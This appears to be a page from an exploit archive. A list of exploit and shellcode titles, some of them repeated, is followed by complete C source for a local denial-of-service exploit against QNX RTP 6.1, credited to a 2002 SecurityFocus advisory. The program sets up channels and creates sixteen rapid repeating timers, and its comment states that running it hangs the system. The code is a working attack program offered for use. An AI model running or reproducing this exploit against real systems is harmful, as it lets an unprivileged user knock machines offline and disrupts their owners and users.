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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
66 lines
No EOL
1.5 KiB
C
66 lines
No EOL
1.5 KiB
C
// source: https://www.securityfocus.com/bid/6114/info
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A denial of service vulnerability has been discovered in QNX.
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It has been reported that it is possible for unprivileged users to cause QNX systems to stop responding, by creating multiple timers containing specific characteristics.
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It should be noted that this issue was reported for QNX 6.1. It is not yet known whether this issue affects other releases.
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/*
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* QNX RTP 6.1 Local DoS exploit
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*
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* author: Pawel Pisarczyk <pawel@immos.com.pl>, 2002
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*
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* After compilation and output binary execution system hangs.
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*/
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#include <errno.h>
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#include <stdio.h>
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#include <stddef.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <pthread.h>
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#include <sys/neutrino.h>
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#include <inttypes.h>
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int main(int argc, char *argv[])
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{
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struct sigevent event;
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struct _itimer itimer;
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int chid;
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int tmid;
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int coid;
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int k;
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if ((chid = ChannelCreate(0)) < 0) {
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fprintf(stderr, "Can't create channel!\n");
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exit(-1);
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}
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if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
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fprintf(stderr, "Can't connect to channel!\n");
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exit(-1);
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}
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for (k = 0; k < 16; k++) {
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SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
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if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
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fprintf(stderr, "Can't create timer!\n");
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return -1;
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}
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itimer.nsec = 1000000;
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itimer.interval_nsec = 1000000;
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TimerSettime(tmid, 0, &itimer, NULL);
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}
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while (getc(stdin) != '#');
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return 0;
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} |